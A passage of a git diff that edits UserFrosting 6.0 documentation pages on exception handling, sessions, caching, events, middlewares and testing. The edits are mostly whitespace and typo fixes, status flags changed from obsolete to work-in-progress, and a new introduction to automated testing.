+However, `AuthExpiredException` will be handled by `RedirectToLoginDangerHandler`, even it extends `AccountException` because a handler is directly defined for this exception.
 
 #### Provided Exception Handler
 
@@ -129,7 +129,7 @@ By default, these exceptions are handled by these handlers :
 
 While the handlers *handles* the exception, the renderer format the exceptions to be displayed to the user, according to the content type the user is currently using. Each renderer must implement the `UserFrosting\Sprinkle\Core\Error\Renderer\ErrorRendererInterface` interface, and thus the following method:
 
-```php 
+```php
 public function render(
     ServerRequestInterface $request,
     Throwable $exception,
@@ -142,7 +142,7 @@ public function render(
 As you can see, the renderer will receive the server request, the exception itself, the user facing message to display (generated by the handler), the status code (determined by the handler) and if the renderer should display error details (as determined by the handler). In return the renderer will return a *string*, which the handler will receive back, and write to whatever (log, the response, etc.).
 
 > [!TIP]
-> Remember, any services can be injected into the Renderer classes, as with any Handlers classes 
+> Remember, any services can be injected into the Renderer classes, as with any Handlers classes
 
 #### Provided Renderers
 
@@ -232,7 +232,7 @@ throw $e;
 
 ### Custom Handler
 
-In some situation, it can useful to create your own Exception Handler. As a basic example, lets take a look at the `HttpExceptionHandler` class, which modifies the base behavior of `ExceptionHandler` by reading an error message and status code from the corresponding `HttpException` (or child subtype) and using these to construct the response. 
+In some situation, it can useful to create your own Exception Handler. As a basic example, lets take a look at the `HttpExceptionHandler` class, which modifies the base behavior of `ExceptionHandler` by reading an error message and status code from the corresponding `HttpException` (or child subtype) and using these to construct the response.
 
 ```php
 <?php
@@ -322,7 +322,7 @@ class ErrorHandlerService implements ServicesProviderInterface
 }
 ```
 
-The first argument is the the exception class reference, and the second argument is the handler class reference.
+The first argument is the exception class reference, and the second argument is the handler class reference.
 
 > [!WARNING]
 > It's important to **decorate** the `ExceptionHandlerMiddleware`. Do not follow the example set in the Core sprinkle, and use `\DI\Autowire` instead, as you'll **replace** the middleware already defined, and every handler already registered.
@@ -383,12 +383,12 @@ class SimplePlainTextRenderer implements ErrorRendererInterface
 }
 ```
 
-Your custom renderer now need to be registered using one of three methods: 
+Your custom renderer now need to be registered using one of three methods:
 1. In a custom handler;
 2. By decorating an existing handler;
 3. By replacing a global renderer through dependency injection;
 
-To use your renderer in your handler, replace the `$errorRenderers` and/or `$logFormatter` property of the base `ExceptionHandler`: 
+To use your renderer in your handler, replace the `$errorRenderers` and/or `$logFormatter` property of the base `ExceptionHandler`:
 ```php
 class MyExceptionHandler implements ExceptionHandler
 {
@@ -410,7 +410,7 @@ class MyExceptionHandler implements ExceptionHandler
 }
 ```
 
-A renderer can be registered using the `registerErrorRenderer` method of the `ExceptionHandler`. For example, by decorating an existing class/service : 
+A renderer can be registered using the `registerErrorRenderer` method of the `ExceptionHandler`. For example, by decorating an existing class/service :
 ```php
 public function register(): array
 {
diff --git a/app/pages/6.0/18.advanced/05.sessions/docs.md b/app/pages/6.0/18.advanced/05.sessions/docs.md
index 9f52d6dd..8f0f9243 100644
--- a/app/pages/6.0/18.advanced/05.sessions/docs.md
+++ b/app/pages/6.0/18.advanced/05.sessions/docs.md
@@ -1,12 +1,12 @@
 ---
 title: Sessions
 description: UserFrosting offers an easy to use wrapper for PHP sessions, and supports session drivers for file and database storage mechanisms.
-obsolete: true
+wip: true
 ---
 
 HTTP itself is stateless - you may recall that we compare a web application to a [conversation between two agents with very poor memory](background/the-client-server-conversation). This presents a problem if we want to implement a "login" functionality - the server needs to be able to remember that someone has already authenticated in an earlier request!
 
-Like other web frameworks, UserFrosting uses [PHP sessions](http://php.net/manual/en/intro.session.php) to solve this problem. When a user visits your site, PHP will place a random, hard-to-guess string called the **session id** in the the `Set-Cookie` header of the response. This is automatically stored by the user's browser in a cookie. It uniquely identifies the user and cannot easily be guessed by anyone without access to the user's browser.
+Like other web frameworks, UserFrosting uses [PHP sessions](http://php.net/manual/en/intro.session.php) to solve this problem. When a user visits your site, PHP will place a random, hard-to-guess string called the **session id** in the `Set-Cookie` header of the response. This is automatically stored by the user's browser in a cookie. It uniquely identifies the user and cannot easily be guessed by anyone without access to the user's browser.
 
 The next time a user makes a request _on your site_ (for example, visiting a page), your browser automatically sends the session id back to the server in the `Cookie` request header. By sending the session id to the server with each subsequent request, the server can resume the user's session that was saved after the last request. You can think of the session id as a temporary "password" that your browser automatically sends to the server with each request.
 
diff --git a/app/pages/6.0/18.advanced/06.caching/01.intro/docs.md b/app/pages/6.0/18.advanced/06.caching/01.intro/docs.md
index b6a7207d..86fbf7bd 100644
--- a/app/pages/6.0/18.advanced/06.caching/01.intro/docs.md
+++ b/app/pages/6.0/18.advanced/06.caching/01.intro/docs.md
@@ -2,7 +2,7 @@
 title: What, Why, and When?
 description:
     metadata: This section explains the motivation and rationale behind caching, and presents several scenarios where caching can help improve the performance of your server and application, as well as improve user experience.
-obsolete: true
+wip: true
 ---
 
 PHP scripts are executed at run time. This means that every time someone refreshes a page from your website in their browser, all the code defined in your app needs to be interpreted by the PHP engine. Modern hardware and processing power means that even complex PHP scripts can be executed in seconds. However, this is not _always_ the case, especially when dealing with external data.
diff --git a/app/pages/6.0/18.advanced/06.caching/02.usage/docs.md b/app/pages/6.0/18.advanced/06.caching/02.usage/docs.md
index 2f12bebd..2184a34e 100644
--- a/app/pages/6.0/18.advanced/06.caching/02.usage/docs.md
+++ b/app/pages/6.0/18.advanced/06.caching/02.usage/docs.md
@@ -2,7 +2,7 @@
 title: The Cache Service
 description:
     metadata: UserFrosting provides a convenient global caching service for your application, as well as user-specific caches for user data.
-obsolete: true
+wip: true
 ---
 
 ## The Cache service
@@ -18,7 +18,7 @@ class MyClass
         protected Cache $cache
     ) {
     }
-    
+
     public function users(): UserInterface
     {
         return $this->cache->get('users', function () {
diff --git a/app/pages/6.0/18.advanced/06.caching/docs.md b/app/pages/6.0/18.advanced/06.caching/docs.md
index 92771fb7..7a465e3d 100644
--- a/app/pages/6.0/18.advanced/06.caching/docs.md
+++ b/app/pages/6.0/18.advanced/06.caching/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Cache
 description: Caching can help improve the performance of your server and application, as well as improve user experience.
-obsolete: true
+wip: true
 ---
 
 # Cache
diff --git a/app/pages/6.0/18.advanced/07.alert-stream/docs.md b/app/pages/6.0/18.advanced/07.alert-stream/docs.md
index aef35003..4c83ca39 100644
--- a/app/pages/6.0/18.advanced/07.alert-stream/docs.md
+++ b/app/pages/6.0/18.advanced/07.alert-stream/docs.md
@@ -1,7 +1,7 @@
 ---
 title: The Alert Stream
 description: The alert stream is UserFrosting's implementation of a flash messaging system, and is used to display error or success notifications to the end user.
-obsolete: true
+wip: true
 ---
 
 The **alert stream** is UserFrosting's implementation of a flash messaging system, and is used to display error or success notifications to the end user.
diff --git a/app/pages/6.0/18.advanced/08.locator/docs.md b/app/pages/6.0/18.advanced/08.locator/docs.md
index cbf2fd9f..863313c2 100644
--- a/app/pages/6.0/18.advanced/08.locator/docs.md
+++ b/app/pages/6.0/18.advanced/08.locator/docs.md
@@ -1,6 +1,6 @@
 ---
 title: Locator Service
-obsolete: true
+wip: true
 ---
 
 The locator service goal is to provides an abstraction layer for the different files and folders available across different sprinkles inside UserFrosting. In other words, it is a way of aggregating many search paths together. As you've seen in the previous chapters, each sprinkle can provides multiple resources and sprinkles can have the ability to overwrite a previous sprinkle resources. All of those resources, combined with the overwriting properties of a sprinkle is handled by the locator service. _Templates_ and _config_ files are a good example of those resources.
@@ -40,7 +40,7 @@ The paths for non-shared streams are calculated relatively from each [sprinkle p
 
 ### Debugging locations
 
-The bakery command provide a debugging command to help you understand and validate all the paths returned by the locator service: 
+The bakery command provide a debugging command to help you understand and validate all the paths returned by the locator service:
 
 ```bash
 $ php bakery debug:locator
@@ -186,7 +186,7 @@ A new stream can be registered pretty much anywhere. If the stream is tied to a
 
 When the locator service is initialized, the `ResourceLocatorInitiatedEvent` will be dispatched by the global event dispatcher. Each sprinkle can listen for this even and use it to register their own stream on the locator service. In fact, even the default stream are registered this way!
 
-To register a new service, a new instance of `UserFrosting\UniformResourceLocator\ResourceStream` can be created and passed to the locator through the `addStream` method. 
+To register a new service, a new instance of `UserFrosting\UniformResourceLocator\ResourceStream` can be created and passed to the locator through the `addStream` method.
 
 For example, let's create a listener class that will register a `foo` stream, and a `bar` shared stream:
 
@@ -210,7 +210,7 @@ class ResourceLocatorInitiated
         // Normal Stream
         $stream = new ResourceStream('foo');
         $event->locator->addStream($stream);
-        
+
         // Shared Stream with custom path
         $stream = new ResourceStream('bar', path: 'foobar', shared: true),
         $event->locator->addStream($stream);
@@ -226,7 +226,7 @@ The listener then need to be registered in the Sprinkle Recipe:
 ```php
 namespace UserFrosting\Sprinkle\Site;
 
-// ... 
+// ...
 use UserFrosting\Event\EventListenerRecipe; // <-- Add this
 use UserFrosting\Sprinkle\Site\Listeners\ResourceLocatorInitiated; // <-- Add this
 // ...
@@ -247,7 +247,7 @@ class MyApp implements
         ];
     }
     //<--
-    
+
     // ...
 }
 ```
diff --git a/app/pages/6.0/18.advanced/09.logging/docs.md b/app/pages/6.0/18.advanced/09.logging/docs.md
index c1f99eee..8a87b23a 100644
--- a/app/pages/6.0/18.advanced/09.logging/docs.md
+++ b/app/pages/6.0/18.advanced/09.logging/docs.md
@@ -1,6 +1,6 @@
 ---
 title: Logging
-obsolete: true
+wip: true
 ---
 
 To contribute to this documentation, please submit a pull request to our [learn repository](https://github.com/userfrosting/learn/tree/master/pages).
diff --git a/app/pages/6.0/18.advanced/10.storage/docs.md b/app/pages/6.0/18.advanced/10.storage/docs.md
index 14526564..efcc1800 100644
--- a/app/pages/6.0/18.advanced/10.storage/docs.md
+++ b/app/pages/6.0/18.advanced/10.storage/docs.md
@@ -1,6 +1,6 @@
 ---
 title: File Storage
-obsolete: true
+wip: true
 ---
 
 The filesystem service provides access to locally and remotely stored files using the [Flysystem](https://github.com/thephpleague/flysystem) PHP package by Frank de Jonge. Based on [Laravel Flysystem integration](https://laravel.com/docs/8.x/filesystem), UserFrosting integration provides simple to use drivers for working with local filesystems, Amazon S3, and Rackspace Cloud Storage. Even better, it's amazingly simple to switch between these storage options as the API remains the same for each system. You can even [add your own adapter](advanced/storage#custom-driver-setup) in your sprinkle if you need access to the many adapter supported by Flysystem.
diff --git a/app/pages/6.0/18.advanced/11.events/docs.md b/app/pages/6.0/18.advanced/11.events/docs.md
index 147add33..308a7d89 100644
--- a/app/pages/6.0/18.advanced/11.events/docs.md
+++ b/app/pages/6.0/18.advanced/11.events/docs.md
@@ -1,9 +1,9 @@
 ---
 title: Events
-obsolete: true
+wip: true
 ---
 
-UserFrosting makes uses of *Event Dispatching* to enable customization of some built-in features. For example, when someone uses the login form, the following process is done : 
+UserFrosting makes uses of *Event Dispatching* to enable customization of some built-in features. For example, when someone uses the login form, the following process is done :
 
 1. User info is found on the database based on it's username or password
 2. User account is validated (is it enabled? Is it verified? etc.)
@@ -12,7 +12,7 @@ UserFrosting makes uses of *Event Dispatching* to enable customization of some b
 
 It's understandable that your would want to step in during this process that is the core feature of UserFrosting to implement an additional step specific to your project. That is why after step #2 is done, the `UserValidatedEvent` event will be dispatched, after step #3, `UserAuthenticatedEvent` event will be dispatched, and after step #4, the `UserLoggedInEvent` event will be dispatched. Each sprinkle can intercept these events and act upon then to change the default behavior. For example, the `UserLoggedInEvent` could be intercept to log the user activity.
 
-The process of intercepting events and acting upon them is called **listening** to events through an **Event Dispatcher**. The [PSR-14 Standard](https://www.php-fig.org/psr/psr-14/) defines each part of an event dispatching system like this : 
+The process of intercepting events and acting upon them is called **listening** to events through an **Event Dispatcher**. The [PSR-14 Standard](https://www.php-fig.org/psr/psr-14/) defines each part of an event dispatching system like this :
 
 > - **Event** - An Event is a message produced by an Emitter. It may be any arbitrary PHP object.
 > - **Listener** - A Listener is any PHP callable that expects to be passed an Event. Zero or more Listeners may be passed the same Event. A Listener MAY enqueue some other asynchronous behavior if it so chooses.
@@ -20,7 +20,7 @@ The process of intercepting events and acting upon them is called **listening**
 > - **Dispatcher** - A Dispatcher is a service object that is given an Event object by an Emitter. The Dispatcher is responsible for ensuring that the Event is passed to all relevant Listeners, but MUST defer determining the responsible listeners to a Listener Provider.
 > - **Listener Provider** - A Listener Provider is responsible for determining what Listeners are relevant for a given Event, but MUST NOT call the Listeners itself. A Listener Provider may specify zero or more relevant Listeners.
 
-A simple workflow used to visualize of the process of event dispatching would be : 
+A simple workflow used to visualize of the process of event dispatching would be :
 
 1. The **Emitter** decide to dispatch an **Event** : It create the *Event Object* and gives it to the **Dispatcher**
 2. The **Dispatcher** ask the **Listener Provider** for a list of **Listener** relevant to the **Event**
@@ -34,7 +34,7 @@ Let's go deeper in each part.
 
 Events are objects that act as the unit of communication between an Emitter and appropriate Listeners. Events are essentially basic classes: they don't require to implement a specific interface. Event classes doesn't even need to contain any code. However, it's possible for events to contain other objects, which the listener can use. A vary basic example of this is the `UserLoggedInEvent`:
 
-```php 
+```php
 class UserLoggedInEvent
 {
     /**
@@ -56,7 +56,7 @@ When it's created, the *Emitter* will define a user object as it's contractor ar
 
 A Stoppable Event is a special case of Event that contains additional ways to prevent further Listeners from being called. It is indicated by implementing the `Psr\EventDispatcher\StoppableEventInterface`.
 
-An Event that implements `StoppableEventInterface` MUST return true from `isPropagationStopped()` when whatever Event it represents has been completed. Behind the scenes, the *Dispatcher* will test if `isPropagationStopped() === true` after each Listener has handled the event. If it is, the other listeners won't be called. 
+An Event that implements `StoppableEventInterface` MUST return true from `isPropagationStopped()` when whatever Event it represents has been completed. Behind the scenes, the *Dispatcher* will test if `isPropagationStopped() === true` after each Listener has handled the event. If it is, the other listeners won't be called.
 
 For example, if the event purpose is to log an activity, and it should only be logged once based on the user permissions, propagation should be stopped once it's been successfully logged once to avoid duplicates.
 
@@ -67,7 +67,7 @@ A Listener may be any PHP callable. In it's basic form, it's also a very basic c
 > [!TIP]
 > A listeners can listen to many events. It should type hint it's parameter as specifically as possible; that is, a Listener may type hint against an interface to indicate it is compatible with any Event type that implements that interface, or to a specific event class.
 
-For example : 
+For example :
 ```php
 class BakeCommandListener
 {
@@ -80,7 +80,7 @@ class BakeCommandListener
 
 This listener accept a `BakeCommandEvent`, which exposes some methods, like `addCommand`, that modify a list of commands stored in the `BakeCommandEvent` object. Since this listener doesn't stop the propagation of a stoppable event, other listeners can also add their own command to the event, and they'll even see that `create:admin-user` exist if they list all currently registered commands (and it it's executed *after* `BakeCommandListener` of course).
 
-A listener can also delegate task to other code or service. It is definitively possible to inject a service in the service constructor method - Listeners will in fact be instantiated by the [dependency injection container](dependency-injection/the-di-container). For example : 
+A listener can also delegate task to other code or service. It is definitively possible to inject a service in the service constructor method - Listeners will in fact be instantiated by the [dependency injection container](dependency-injection/the-di-container). For example :
 
 ```php
 class AssignDefaultRoles
@@ -106,7 +106,7 @@ class AssignDefaultRoles
 
 UserFrosting implements a PSR-14 compatible `EventDispatcherInterface`. This means you can inject the `Psr\EventDispatcher\EventDispatcherInterface` directly in any class to receive and instance of the UserFrosting event dispatcher.
 
-```php 
+```php
 use Psr\EventDispatcher\EventDispatcherInterface;
 
 // ...
@@ -127,13 +127,13 @@ The dispatcher only has one public method : `public function dispatch(object $ev
 
 UserFrosting implements a PSR-14 compatible `Psr\EventDispatcher\ListenerProviderInterface`, used by the dispatcher. Sprinkles are not expected to access it directly: Invoking listeners should only be done thought the provided dispatcher.
 
-It's only worth to know that UserFrosting listener provider will return the relevant listeners for a given event based on the [Sprinkle dependency order](sprinkles/recipe#getsprinkles), then the order they are registered (which we'll see next). Your sprinkle will always be the top sprinkle, so your listeners will always be invoked first. 
+It's only worth to know that UserFrosting listener provider will return the relevant listeners for a given event based on the [Sprinkle dependency order](sprinkles/recipe#getsprinkles), then the order they are registered (which we'll see next). Your sprinkle will always be the top sprinkle, so your listeners will always be invoked first.
 
 ## Registering a listener
 
-Registering a listener is done in the Sprinkle Recipe, thought the `getEventListeners` method and `UserFrosting\Event\EventListenerRecipe`. However, this recipe is different from other class you register in your recipe. You have to assign each listener to it's event. And because an event can have multiple listeners, we'll actually assign listeners to events. For example : 
+Registering a listener is done in the Sprinkle Recipe, thought the `getEventListeners` method and `UserFrosting\Event\EventListenerRecipe`. However, this recipe is different from other class you register in your recipe. You have to assign each listener to it's event. And because an event can have multiple listeners, we'll actually assign listeners to events. For example :
 
-```php 
+```php
 use UserFrosting\Event\EventListenerRecipe; // Don't forget to import !
 
 // ...
@@ -143,7 +143,7 @@ class MyApp implements
     EventListenerRecipe, // <-- Add this !
 {
 
-// ... 
+// ...
 
 public function getEventListeners(): array
 {
@@ -182,14 +182,14 @@ These are the events the Framework and default sprinkles uses. You can easily li
 | `UserFrosting\Event\BakeryInitiatedEvent`                        | Dispatched when the Symfony Console App is ready to be run.                                                       |
 | `UserFrosting\Sprinkle\Core\Bakery\Event\BakeCommandEvent`       | Dispatched when the `bake` command is about to be run. The list of subcommands that will be run can be manipulated using this event to insert custom subcommands into the callstack. |
 | `UserFrosting\Sprinkle\Core\Bakery\Event\DebugCommandEvent`      | Dispatched when the `debug` command is about to be run.                                                           |
-| `UserFrosting\Sprinkle\Core\Bakery\Event\DebugVerboseCommandEvent` | Dispatched when the `debug` command is about to be run ins verbose mode                                         | 
+| `UserFrosting\Sprinkle\Core\Bakery\Event\DebugVerboseCommandEvent` | Dispatched when the `debug` command is about to be run ins verbose mode                                         |
 | `UserFrosting\Sprinkle\Core\Bakery\Event\SetupCommandEvent`      | Dispatched when the `setup` command is about to be run.                                                           |
 | `UserFrosting\Sprinkle\Core\Event\ResourceLocatorInitiatedEvent` | Dispatched when the ResourceLocatorInterface is ready to be used. The locator itself is available in the handler. |
 | `UserFrosting\Sprinkle\Account\Event\UserCreatedEvent`           | Dispatched when a user is created. User can be mutated by the listener (N.B.: any modification to the user need to be saved to the db by the listener) |
 | `UserFrosting\Sprinkle\Account\Event\UserValidatedEvent` | This event is dispatched when the user is validated, before login or session is restored. A listener can throw an exception to interrupt the login, session or rememberme restoration process.
 | `UserFrosting\Sprinkle\Account\Event\UserAuthenticatedEvent`     | This event is dispatched after the user is authenticated, but **before** it's logged in. A listener can throw an exception to abort the login process. User object is available in the event. |
 | `UserFrosting\Sprinkle\Account\Event\UserLoggedInEvent`          | This event is dispatched when the user is logged in. If a listener throws an exception, an error page will be displayed, but on refresh the user will already be restore from the session. User object is available in the event. |
-| `UserFrosting\Sprinkle\Account\Event\UserLoggedOutEvent`         | This event is dispatched when the user is logged out. A listener can throw an exception, and while the exception will interrupt the process, but since this is dispatched after session is closed, a refresh will keep the user logged out. | 
+| `UserFrosting\Sprinkle\Account\Event\UserLoggedOutEvent`         | This event is dispatched when the user is logged out. A listener can throw an exception, and while the exception will interrupt the process, but since this is dispatched after session is closed, a refresh will keep the user logged out. |
 | `UserFrosting\Sprinkle\Account\Event\UserRedirectedAfterDenyResetPasswordEvent` | Define the destination route when a user use the deny the reset password link |
 | `UserFrosting\Sprinkle\Account\Event\UserRedirectedAfterLoginEvent` | Define the destination route when a user login |
 | `UserFrosting\Sprinkle\Account\Event\UserRedirectedAfterLogoutEvent` | Define the destination route when a user logout |
diff --git a/app/pages/6.0/18.advanced/12.middlewares/docs.md b/app/pages/6.0/18.advanced/12.middlewares/docs.md
index e8b19e4f..a4769894 100644
--- a/app/pages/6.0/18.advanced/12.middlewares/docs.md
+++ b/app/pages/6.0/18.advanced/12.middlewares/docs.md
@@ -1,9 +1,9 @@
 ---
 title: Middlewares
-obsolete: true
+wip: true
 ---
 
-Sometimes it can be useful to run code _before_ or _after_ the the request is handled, to either manipulate the Request and/or the Response objects. This can be done by _middlewares_. Middlewares can be used to add many feature to every page or simple routes, for example to add protection to the website, handle some configuration, inject some variable, etc.
+Sometimes it can be useful to run code _before_ or _after_ the request is handled, to either manipulate the Request and/or the Response objects. This can be done by _middlewares_. Middlewares can be used to add many feature to every page or simple routes, for example to add protection to the website, handle some configuration, inject some variable, etc.
 
 ## How does middleware work?
 
@@ -64,7 +64,7 @@ class ExampleAfterMiddleware implements MiddlewareInterface
     public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
     {
         $response = $handler->handle($request);
-        
+
         // Do something ...
 
         return $response;
@@ -81,9 +81,9 @@ You may add middleware to the entire application, to an individual route or to a
 
 ### Application middleware
 
-Application middleware is invoked for every **incoming** HTTP request. To add an application wide middleware, it must be registered in your Sprinkle Recipe, via the 
+Application middleware is invoked for every **incoming** HTTP request. To add an application wide middleware, it must be registered in your Sprinkle Recipe, via the
 
-```php 
+```php
 use UserFrosting\Sprinkle\MiddlewareRecipe; // Don't forget to import !
 
 // ...
@@ -93,7 +93,7 @@ class MyApp implements
     MiddlewareRecipe, // <-- Add this !
 {
 
-// ... 
+// ...
 
 /**
  * Returns a list of all Middlewares classes.
diff --git a/app/pages/6.0/18.advanced/chapter.md b/app/pages/6.0/18.advanced/chapter.md
index 222e9ea0..84e9e62e 100644
--- a/app/pages/6.0/18.advanced/chapter.md
+++ b/app/pages/6.0/18.advanced/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Advanced Dev Features
 description: A look under the hood, at some of UserFrosting's less well-known features.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 18
diff --git a/app/pages/6.0/19.testing/01.why-test/docs.md b/app/pages/6.0/19.testing/01.why-test/docs.md
index 45df4187..956d15e5 100644
--- a/app/pages/6.0/19.testing/01.why-test/docs.md
+++ b/app/pages/6.0/19.testing/01.why-test/docs.md
@@ -1,6 +1,21 @@
 ---
-title: Why Use Automated Testing ?
-obsolete: true
+title: Why Use Automated Testing?
+description: Learn why testing is essential for building reliable, maintainable applications.
+wip: true
 ---
 
-To contribute to this documentation, please submit a pull request to our [learn repository](https://github.com/userfrosting/learn/tree/master/pages).
+Every developer has experienced this nightmare: You fix a bug in one part of your application, deploy it to production, and suddenly something else breaks. A "simple" change cascades into hours of debugging. Users report errors you never saw in development. You're afraid to modify code because you might break something.
+
+**Automated testing** prevents this chaos. Tests are code that verifies your code works correctly. When you make changes, tests run automatically to catch bugs before they reach production. They act as a safety net, giving you confidence to refactor, add features, and fix bugs without fear. Good tests mean fewer production bugs, faster development, and better sleep at night.
+
+UserFrosting includes PHPUnit for testing, and this chapter shows you how to write effective tests that make your application more reliable and maintainable.
+
+## Benefits of Testing
+
+- **Catch bugs early**: Find issues during development, not in production
+- **Confidence in changes**: Refactor and improve code without fear
+- **Living documentation**: Tests show how code should be used
+- **Faster debugging**: Tests pinpoint exactly what broke
+- **Better design**: Testable code is usually better-structured code
+
+This chapter explains the value of testing and why every professional application needs it.
diff --git a/app/pages/6.0/19.testing/02.running-tests/docs.md b/app/pages/6.0/19.testing/02.running-tests/docs.md
index ec16eaa8..6159ae63 100644
--- a/app/pages/6.0/19.testing/02.running-tests/docs.md
+++ b/app/pages/6.0/19.testing/02.running-tests/docs.md
@@ -1,9 +1,9 @@
 ---
 title: Running Tests
-obsolete: true
+wip: true
 ---
 
-You can execute tests using [Phpunit](https://phpunit.de) directly : 
+You can execute tests using [Phpunit](https://phpunit.de) directly :
 
 ```bash
 ./vendor/bin/phpunit
diff --git a/app/pages/6.0/19.testing/03.writting-tests/01.testcase/docs.md b/app/pages/6.0/19.testing/03.writting-tests/01.testcase/docs.md
index afb5c8af..f912887a 100644
--- a/app/pages/6.0/19.testing/03.writting-tests/01.testcase/docs.md
+++ b/app/pages/6.0/19.testing/03.writting-tests/01.testcase/docs.md
@@ -1,6 +1,6 @@
 ---
 title: Sprinkle Test Case
-obsolete: true
+wip: true
 ---
 
 To make it easier to run your tests in your Sprinkle environment, that is with every routes, middlewares and other class registered in your Recipe, UserFrosting provides a base TestCase you can use. You simply need to tell the TestCase to use your Recipe. It will create a simple UserFrosting app instance, and cleanly destroy it when the test is done. It also provides some additional helper methods.
@@ -31,15 +31,15 @@ class MyTest extends TestCase
 }
 ```
 
-You could also use the code above as a new test case, instead of defining `$mainSprinkle` in every tests. Instead of naming the class `MyTest`, name it `MyTestCase` and make every test class extend `MyTestCase`. 
+You could also use the code above as a new test case, instead of defining `$mainSprinkle` in every tests. Instead of naming the class `MyTest`, name it `MyTestCase` and make every test class extend `MyTestCase`.
 
 The biggest advantage is you don't *need* to use your Recipe. Alternatively, you can create a recipe stub. Simply create a *second* recipe in your testing directory. This other recipe can register only the class you want to test.
 
 ## Helping methods & properties
 
-When extending `UserFrosting\Testing\TestCase`, you have access to many helper methods and properties. 
+When extending `UserFrosting\Testing\TestCase`, you have access to many helper methods and properties.
 
-### Properties 
+### Properties
 | Property              | Description                    |
 | --------------------- | ------------------------------ |
 | `$this->ci`           | Dependency Injection Container |
@@ -55,7 +55,7 @@ When extending `UserFrosting\Testing\TestCase`, you have access to many helper m
 This methods can be used to create a basic `ServerRequestInterface`.
 
 ```php
-$this->createRequest( 
+$this->createRequest(
     string $method, // The HTTP method : GET, POST, PUT, DELETE, etc.
     string|UriInterface $uri, // The URI
     array $serverParams = [] // The POST data
@@ -104,7 +104,7 @@ assertResponse(string $expected, ResponseInterface $response)
 ```php
 $this->assertResponse('fr_FR', $response);
 
-// Same as 
+// Same as
 
 $this->assertSame('fr_FR', (string) $response->getBody());
 ```
@@ -120,7 +120,7 @@ assertResponseStatus(int $expected, ResponseInterface $response)
 ```php
 $this->assertResponseStatus(400, $response);
 
-// Same as 
+// Same as
 
 $this->assertSame(400, $response->getStatusCode());
 ```
@@ -137,7 +137,7 @@ assertJsonResponse(mixed $expected, ResponseInterface $response, ?string $key =
 $this->assertJsonResponse(['foo' => 'bar'], $response);
 $this->assertJsonResponse('bar', $response), 'foo';
 
-// Same as 
+// Same as
 
 $this->assertJsonEquals(['foo' => 'bar'], (string) $response->getBody());
 $this->assertJsonEquals('bar', (string) $response->getBody(), 'foo');
@@ -219,7 +219,7 @@ $this->assertHtmlTagCount(0, $html, 'p');
 
 To methods above can be used to test routes endpoints. The basic concept is to use `createRequest` or `createJsonRequest` to create the `ServerRequestInterface`. Then pass this request to `handleRequest` which will invoked the correct route and return the response from the controller. Finally use custom assertions to make sure the response contains the right content.
 
-For example : 
+For example :
 
 ### HTML Routes
 ```php
diff --git a/app/pages/6.0/19.testing/03.writting-tests/02.Traits/docs.md b/app/pages/6.0/19.testing/03.writting-tests/02.Traits/docs.md
index 56e7f569..038c0154 100644
--- a/app/pages/6.0/19.testing/03.writting-tests/02.Traits/docs.md
+++ b/app/pages/6.0/19.testing/03.writting-tests/02.Traits/docs.md
@@ -1,6 +1,6 @@
 ---
 title: Helper Traits & Class
-obsolete: true
+wip: true
 ---
 
 UserFrosting provides some helper Traits to easily enable features and tools for your tests. Some of those tools make it easier to test your code against a testing database.
@@ -24,7 +24,7 @@ $ci->set(Foo::class, $foo);
 $ci->get(Foo::class);
 ```
 
-The `create` method can also accept services definition: 
+The `create` method can also accept services definition:
 
 ```php
 $provider = new AlertStreamService();
@@ -33,7 +33,7 @@ $ci = ContainerStub::create($provider->register());
 
 ## BakeryTester
 
-`UserFrosting\Testing\BakeryTester` can be used to test bakery commands. This class has one static command, and returns the result of the executed command. 
+`UserFrosting\Testing\BakeryTester` can be used to test bakery commands. This class has one static command, and returns the result of the executed command.
 
 ```php
 public static function runCommand(
@@ -50,7 +50,7 @@ The `$command` argument must be an instance of the command class. `$input` is an
 ```php
 use UserFrosting\Testing\BakeryTester;
 
-// ... 
+// ...
 
 $command = $this->ci->get(ClearCacheCommand::class);
 $result = BakeryTester::runCommand($command);
diff --git a/app/pages/6.0/19.testing/03.writting-tests/03.Factories/docs.md b/app/pages/6.0/19.testing/03.writting-tests/03.Factories/docs.md
index 86b049e0..43d25cf1 100644
--- a/app/pages/6.0/19.testing/03.writting-tests/03.Factories/docs.md
+++ b/app/pages/6.0/19.testing/03.writting-tests/03.Factories/docs.md
@@ -1,6 +1,6 @@
 ---
 title: Factories
-obsolete: true
+wip: true
 ---
 
 > [!NOTE]
@@ -11,7 +11,7 @@ Model factories can be used to insert test data into the database. See [Laravel
 1. Create your factory, which must extend `UserFrosting\Sprinkle\Core\Database\Factories\Factory`;
 2. You model need to use the `Illuminate\Database\Eloquent\Factories\HasFactory` trait;
 3. Add `newFactory` method in your model, returning your factory:
-   ```php 
+   ```php
     /**
      * Create a new factory instance for the model.
      *
diff --git a/app/pages/6.0/19.testing/03.writting-tests/docs.md b/app/pages/6.0/19.testing/03.writting-tests/docs.md
index 5493a5ea..e70d422f 100644
--- a/app/pages/6.0/19.testing/03.writting-tests/docs.md
+++ b/app/pages/6.0/19.testing/03.writting-tests/docs.md
@@ -1,6 +1,6 @@
 ---
 title: Writing Your Own Tests
-obsolete: true
+wip: true
 ---
 
 To contribute to this documentation, please submit a pull request to our [learn repository](https://github.com/userfrosting/learn/tree/master/pages).
diff --git a/app/pages/6.0/19.testing/chapter.md b/app/pages/6.0/19.testing/chapter.md
index 2581cfe0..cc96e7d2 100644
--- a/app/pages/6.0/19.testing/chapter.md
+++ b/app/pages/6.0/19.testing/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Testing
 description: An introduction to Unit and Integration testing, your most powerful ally.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 19
diff --git a/app/pages/6.0/20.recipes/01.creating-a-new-page/docs.md b/app/pages/6.0/20.recipes/01.creating-a-new-page/docs.md
index be634931..ea445f07 100644
--- a/app/pages/6.0/20.recipes/01.creating-a-new-page/docs.md
+++ b/app/pages/6.0/20.recipes/01.creating-a-new-page/docs.md
@@ -74,7 +74,7 @@ class PageMembers
 }
 ```
 
-Notice that `PageMembers` only does one thing - it renders the contents of a template file (`pages/members.html.twig`), and appends it to the response. We then return this (modified) response to the main application, which sends it off to the client. Both arguments of the `__invoke` method, the Response as well as the Twig Services, will be [injected by the Dependency Injector Container](dependency-injection) to perform these operations. 
